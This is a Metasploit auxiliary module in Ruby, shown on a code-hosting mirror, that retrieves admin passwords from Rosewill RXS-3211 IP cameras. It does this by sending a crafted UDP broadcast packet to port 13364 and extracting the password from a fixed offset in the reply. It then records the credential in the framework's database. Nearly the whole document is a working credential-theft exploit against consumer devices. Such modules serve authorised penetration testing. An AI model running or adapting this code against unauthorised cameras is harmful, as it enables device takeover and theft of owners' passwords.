Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Udp
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
11
def initialize
12
super(
13
'Name' => 'Rosewill RXS-3211 IP Camera Password Retriever',
14
'Description' => %q{
15
This module takes advantage of a protocol design issue with the Rosewill admin
16
executable in order to retrieve passwords, allowing remote attackers to take
17
administrative control over the device. Other similar IP Cameras such as Edimax,
18
Hawking, Zonet, etc, are also believed to have the same flaw, but not fully tested.
19
The protocol design issue also allows attackers to reset passwords on the device.
20
},
21
'Author' => 'Ben Schmidt',
22
'License' => MSF_LICENSE
23
)
24
25
register_options(
26
[
27
Opt::CHOST,
28
Opt::RPORT(13364),
29
]
30
)
31
end
32
33
def run_host(ip)
34
# Protocol
35
target_mac = "\xff\xff\xff\xff\xff\xff"
36
cmd = "\x00" # Request
37
cmd << "\x06\xff\xf9" # Type
38
39
password = nil
40
41
begin
42
udp_sock = Rex::Socket::Udp.create({
43
'LocalHost' => datastore['CHOST'] || nil,
44
'PeerHost' => ip,
45
'PeerPort' => datastore['RPORT'],
46
'Context' =>
47
{
48
'Msf' => framework,
49
'MsfExploit' => self
50
}
51
})
52
53
udp_sock.put(target_mac + cmd)
54
55
res = udp_sock.recvfrom(65535, 0.5) and res[1]
56
57
# Parse the reply if we get a response
58
if res
59
password = parse_reply(res)
60
end
61
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
62
print_error("Connection error")
63
rescue ::Interrupt
64
raise $!
65
rescue ::Exception => e
66
print_error("Unknown error: #{e.class} #{e}")
67
ensure
68
udp_sock.close if udp_sock
69
end
70
71
# Store the password if the parser returns something
72
if password
73
print_good("Password retrieved: #{password.to_s}")
74
report_cred(
75
ip: rhost,
76
port: rport,
77
service_name: 'ipcam',
78
user: '',
79
password: password,
80
proof: password
81
)
82
end
83
end
84
85
def report_cred(opts)
86
service_data = {
87
address: opts[:ip],
88
port: opts[:port],
89
service_name: opts[:service_name],
90
protocol: 'tcp',
91
workspace_id: myworkspace_id
92
}
93
94
credential_data = {
95
origin_type: :service,
96
module_fullname: fullname,
97
username: opts[:user],
98
private_data: opts[:password],
99
private_type: :password
100
}.merge(service_data)
101
102
login_data = {
103
core: create_credential(credential_data),
104
status: Metasploit::Model::Login::Status::UNTRIED,
105
proof: opts[:proof]
106
}.merge(service_data)
107
108
create_credential_login(login_data)
109
end
110
111
def parse_reply(pkt)
112
@results ||= {}
113
114
# Ignore "empty" packets
115
return nil if not pkt[1]
116
117
if (pkt[1] =~ /^::ffff:/)
118
pkt[1] = pkt[1].sub(/^::ffff:/, '')
119
end
120
121
return pkt[0][333, 12] if pkt[0][6, 4] == "\x01\x06\xff\xf9"
122
end
123
end
124
125